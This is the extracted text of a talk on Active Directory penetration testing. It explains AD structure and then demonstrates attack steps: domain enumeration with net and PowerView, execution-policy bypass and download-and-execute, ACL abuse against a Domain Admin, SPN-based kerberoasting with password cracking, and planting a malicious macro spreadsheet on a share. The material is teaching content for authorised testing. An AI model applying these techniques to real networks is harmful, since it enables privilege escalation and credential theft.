Hunt For Domain Controller: Active Directory Pentesting Session
Hunt For Domain Controller: Active Directory Pentesting Session
Hunt For Domain Controller: Active Directory Pentesting Session
Satyam Dubey
4th Year CSE Undergraduate from LNCTE
Interest : Building Research labs, Researching new TTP’s, Red Teaming AD, Web
Application Pentesting, Network Pentesting, AV Evasion.
LinkedIn :- https://www.linkedin.com/in/satyam-dubey/
Writes on :- https://www.hacknpentest.com/
PREFACE
Before Starting this presentation we would like to thank the Null Open
Source Community to give us an opportunity to present the topic in this
Null Session. This Session will be entirely dedicated to have a basic
understanding of how the Active Directory Works and the Hunt for the
Supreme i.e. Domain Controller. We will be covering the major insights
that are required to understand the Active Directory Penetration Testing.
In this Session we will encounter many Dumb configuration that can lead
to some kind to hacker activity like : Initial Access, Privilege Escalation
and even Lateral Movement. At last we will be presenting the Red
Teaming Routine where we will be demonstrating whole activity that is
done during AD Penetration Testing. So Let’s go on and discover the
secrets of Active Directory.
What is Active Directory ?
Active Directory is Basically a Network Operating System (NOS) that store
the objects like Users, Groups, Computer Accounts etc in a centralized
repository that is managed by the Administrator and Accessed by the End
User. A Network Operating System is nothing but the group of one or more
servers which provide mainly 3 NOS services :
● Authentication
● Authorization
● Account Manipulation
Active Directory provides the administrator with a capability to manage
enterprise level information in an efficient manner that can be accessed
by the end users. The Implementation of Active Directory is Done using
LDAP (Lightweight Directory Access Protocol). LDAP is used to make the
Enterprise-wide information and resources accessible to the multiple end
users present in the Active Directory Environment.
Why study the Active Directory from a Pentester
Perspective ?
One of the Simple reasons to study Active Directory is because it is majorly deployed in the
Fortune Companies and also it is a Microsoft product.
And the Question that can arise is “Why is Active Directory deployed in that major number
?”
Well the answer is pretty easy as the services that are provided Active Directory is more in
number and is easy to configure than other such products present in the market because of
which it is easy to find the Active Directory environment in the wild.
So I think the answer to question above would give you the reason to study Active Directory
Pentesting.
Now Let’s dive deeper to know what objects or information or resources are made
accessible to the end users.
As we have discussed what active directory means we may have encountered some kind of
jargon that means something else in the Active Directory Terminology one such term is
“Object”.
What does the term “Objects” mean in the AD
Environment ?
Objects are nothing but the entities in Active Directory. So any kind of Entity
like User, Group or any resource can be called as an Object which can be
accessed by the particular set of user defined by the Administrator.
Objects can be classified into two types :
● Containers : These Objects contains objects within themselves .
● Non-Containers : These Objects are also referred as the Leaf Nodes.
They act as an end node in a structural hierarchical system.
These Objects are presented in a hierarchical fashion but the data of these
objects are stored in flat column-row database. Most popular Container is
“Organizational Unit” commonly known as the OU’s. We will discuss about the
Organizational Unit in detail in upcoming slides.
Looking at Hierarchical System
The “Objects” that we have seen in the previous slide will be discussed
relative to the Hierarchical fashion.
Now in this Hierarchical System there exists a domain called
“hacknpentest.local”. Let’s talk about the domain in relation to the
hierarchical system that we have seen in the previous slide.
Domain :
Domain in a system can be defined as a group of users, groups or computers
that exist under a network. Here in the case the domain name/ network name
of the forest is “hacknpentest.local”.
Domain Tree :
In this Hierarchical system there exist a domain tree known as the
“hacknpentest.local” being the root node which has been further classified
into child domain called as “east.hacknpentest.local” and
“west.hacknpentest.local”.
Domain Controller :
A domain controller (DC) can be authoritative for one and only one domain. It
is not possible to host multiple domains on a single DC.
Forest :
As we know that the collection of domains are known as the domain tree.
Similarly a collection of one or more domain tree is forest. A forest is a
complete instance of Active Directory in a single namespace, with each
forest being the single entity containing all Domains, Domain Controllers,
Organizational Units, etc. within the forest. The forest has a single schema
which defines object types and associated properties. The first domain in
the forest is called the forest root domain. Here in this case the forest root
domain is “hacknpentest.local”.
Schema :
Schema defines the objects and their properties in the Active directory
environment. Schema is implemented all over the forest and therefore the
changes should be made carefully as unauthorized modifications to the
schema may lead to corrupted Active Directory Forest. Object and Attribute
additions are not reversible, and one of the major properties of object is
that it can be disabled but cannot be deleted.
Trust :
The Trust between domains/forests defines a authentication route
through which one user from a specific domain can access the resources
of other domain as defined in the trust. All types of Trust can exist in two
variants on the basis of direction :
● One-Way Trust : This Variant of trust is used to define the
authentication route between one domain/forest to another
domain/forest which is unidirectional.
● Two-Way Trust : This Variant of trust is used to define the
authentication route between one domain/forest to another
domain/forest which is bidirectional.
Some Type of Trust can show the property “Transitivity” which means that
if Forest A is in trust with Forest B, and Forest B is in trust with Forest C,
then Forest A and Forest C have transitive trust.
Forest A <-------> Forest B && Forest B <------------> Forest C
Then, Forest A <----------------> Forest C.(In Transitive Trust)
The Major Type of Trust that can exist in the Active Directory
Environment are listed below :
● External : This Type of Trust can exist when there is a need to
access the resources of the domain that is present in the external
forest that is not joined by the Forest Trust or the resources of
Windows NT domain Machine.
● Realm : This Type of Trust exist in relationship between a non-
Windows Kerberos realm and an Active Directory domain.
● Forest : This Type of Trust exist between the forest that need to
share resources with each other.
● Shortcut : This Type of Trust exists when the domain of different
domain tree needs to share resources. It is used to improve login
capability of Domain user in Active Directory Environment.
Distinguished Names :
In order to refer to any object in a Domain Tree, paths are used which are
known as the Distinguished Names. The Distinguished Names are used to
refer to any object uniquely.
These Distinguished Names follows the LDAP Syntax and Rules. Path of the
Root in this Fig X.y can be represented as :-
dc = hacknpentest, dc = com
In Similar Fashion, the child domain can be represented as follows :
dc = east, dc = hacknpentest, dc = com. dc = west, dc = hacknpentest,
dc = com
Note : dc stands for domain component and is used to specify domain or
application partition objects.
Above the Phenomenon of Distinguished Names there exists another
phenomenon of Relative Distinguished Name (RDN) which is used to
uniquely reference an object within its parent container in the directory.
cn = jack, ou = Users, dc = east, dc = hacknpentest, dc = com
KEY ATTRIBUTE
CN Common Name
L Locality
ST State Name
O Organization
OU Organization Unit
C City
STREET Street Name
DC Domain Component
UID User ID
DN Distinguished Name
RDN Relative Distinguished Name
SPN Service Principal Name
We have taken a look upon the Active Directory Architecture from large scale
let’s dive deep and look at the AD environment from the closer view.
Organizational Unit :
We discussed about the OU’s as the primary type of Containers. Organizational
Unit are nothing but the Logical Containers which contain major types of
objects such as Users, groups, computers, etc. OU’s are used in order to
organize resources in a domain. With this property we can use OU’s to deploy
Group Policy over a specific set of Objects.
Global Catalog :
Global Catalog is a very important part of Active Directory which is used to
perform forest-wide searches. The Global Catalog is a catalog of all objects in
a forest that contains a subset of attributes for each object. The GC can be
accessed via LDAP over port 3268 or LDAP/SSL over port 3269. The Global
Catalog is read-only and cannot be updated directly. Furthermore, the GC is
also used in directory operations such as such as logons.
FSMO Roles (pronounced as “fizmo”):
Even though Active Directory is a multimaster directory, there are some
situations in which there should only be a single domain controller that can
perform certain functions. In these cases, Active Directory nominates one
server to act as the master for those functions. There are five such functions
that need to take place on one server only. The server that is the master for a
particular function or role is known as the Flexible Single Master Operator.
There exist 2 forest FSMO role holders and 3 domain FSMO role holders.
Schema Master
Domain Naming Master
Schema Master : It is the only domain controller in the forest that hosts
the writable schema partition. When a schema update needs to occur,
the update operation is performed on this DC by a member of the
Schema Admins group. Once the schema update is complete, it is
replicated from the Schema Master FSMO role owner to all other DCs in
the directory.
RECORDS MEANING
A Host
MX Mail Exchanger
SRV Service
Lightweight Directory Access Protocol :
Lightweight Directory Access Protocol (LDAP) : Lightweight Directory
Access Protocol is an Open and Cross platform protocol used for directory
server authentication. In relation to the Active Directory Architecture the
LDAP protocol is used for accessing the network resources. The Active
Directory is Directory Server that uses LDAP protocol.
LDAP Queries can be used in order to get the specific information for the
Domain Controller. These Queries are made to the Global Catalog which
works hand-in-hand with LDAP protocol. A typical LDAP query may look
like this :
(&(objectClass=user)(SamAccountName=yourUserName)
(memberof=CN=YourGroup,OU=Users,DC=YourDomain,DC=com))
These Query can be made by the Graphical User Interface as well as the
Command-line shell such as powershell. The demonstration of ldap queries
will be shown in the enumeration phase.
Now we will look on the Process of Authentication :-) Interesting 😃😃😃😃
Authentication
Windows Uses NTLM Authentication as well as Kerberos Authentication in
detail in this section.
User Privileges depends on the groups, user is a member of and the Active
Directory Rights they have in the Domain.
Through Built-in commands (using net)
Note:- We are enumerating with an unprivileged user (flop10user)
1) Listing all users in the Domain.
Similarly, we can perform the same using all the groups or we can just loop
through all local groups to identify the users
Global Group Enumeration
net group /domain
3 users have been identified having “Domain Admin” privileges. This is really a
juicy information to know as an unprivileged user.
Alternatively we can query the DC about the user under which group it exists.
net user <User_name> /domain
We can query DNS server for the SRV records for DC, this will result in the DC name
and corresponding IP address.
nltest
/server:<IP_of_DomainComp>
/dclist:<Domain_name>
We can just enter the IP address of the DC or the Computer Name to access the
shared resources as shown in the previous image.
Browsing to the Network drive can also show us the shared paths of all the
computers available in the network.
What does an employee want?
Or even place a malicious xlsx file (with some VBA scripting) at the shared
folder to laterally move in the environment.
While enumerating the default shares if Remote Admin share (ADMIN$) is found
then we can add a drive to the Domain Computer (Note: Explicit credentials of
the user is required to do so).
By default the execution policy is set to Unrestricted to prevent direct execution of scripts,
we can force set the execution policy to Bypass (as shown above).
The first dot denotes the current directory and the second one denotes the
importing script.
We can also use the PowerShell built-in Import-Module cmdlet to import a script in
memory. It does the same dot sourcing technique.
This cmdlet is important when importing a whole module (.psd1 or .psm1) files
which contains multiple scripts loading at the same time.
Living Off the Land ( Direct Memory Execution)
3) Direct download and Execute
or
iwr –UseBasicParsing <URL_name> -Verbose
The first one is fast as compared to Invoke-WebRequest but both can be used to transfer payloads and
files during engagements.
Using PowerView to enumerate Forest and Domain
First import the Powerview script [
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView
.ps1 ] to memory.
Using Get-NetForest to list information about forest like knowing root Domain SID
can help us later in forging Golden Ticket.
Consecutively, we can fetch the relevant (most important) output using select
filter in Powershell. This means that we can list out specific attributes of all the
properties.
Get-DomainComputer –Verbose
There would be a lot of information to read from the output, so we can just filter out
important attributes as follows:-
Using Out-GridView cmdlet to display the filtered output in a new neat Window.
It’s interesting from an unprivileged user point of view to know the Operating
System Version of the Computers in the environment.
Also as DC’s are not rebooted for a long duration and we can just enumerate that
which computer in the network is last turned off (giving a sense of computer
patch level). We can just prepare a list of vulnerabilities to exploit against
computers.
Get-NetComputer | name, lastlogoff
• Get-NetGroupMember –
Identity “Domain Admins”
One can filter out the most relevant output as follows:-
DACL identifies users having access or deny to an object and SACL enables
Administrators to log attempts to access an object.
ACL Enumeration
As there is a bulk of information returned when a Domain user queries about a
object there is a huge probability of overlooking misconfigurations. Attacker can
easily leverage this in the post-exploitation phase of attack.
ACL’s are mostly used for backdooring, so that an attacker can easily access
unauthorized users, group or computers.
There are following types of rights: -
•GenericAll - full rights to the object (add users to a group or reset user's password)
•WriteDACL - modify object's ACEs and give attacker full control right over the object
•WriteOwner - change object owner to attacker controlled user take over the object
•GenericWrite - update object's attributes (i.e logon script)
•AllExtendedRights - ability to add user to a group or reset password
•ForceChangePassword - ability to change user's password
•Self (Self-Membership) - ability to add yourself to a group
We will use Powerview Module for ACL enumeration.
Currently, we are logged in as ‘flop10user’ which is a Domain user & till now we
have identified that ‘flop18user’ is a privileged user (Domain Admin). Let’s target
the Domain Admin.
Invoke-ACLScanner -ADSPath
'CN=flop18User,CN=Users,DC=hacknpentest,DC=local' -ResolveGUIDs |
?{$_.ActiveDirectoryRights -match 'GenericAll'}
Great!! we have ‘GenericALL’ Rights on flop18user, that means we can perform any
actions on the target user. One can reset the password for target user or perform
kerberoast attack to extract hash of Domain Admin
And this too with only flop10user (Domain User) privs. [ Like a BOSS!!!! ]
2)We can also set an Service Principal Name [SPN] to the target user. As SPN’s are
used to identify a service on a server that supports Kerberos authentication.
The hash can be copied in a file and tools like JTR and tgsrepcrack.py can be used
to get a clear text password of the user account.
References
https://adsecurity.org
https://blog.cptjesus.com
https://ired.team
https://technet.microsoft.com
https://blog.harmj0y.net/
https://hacknpentest.com/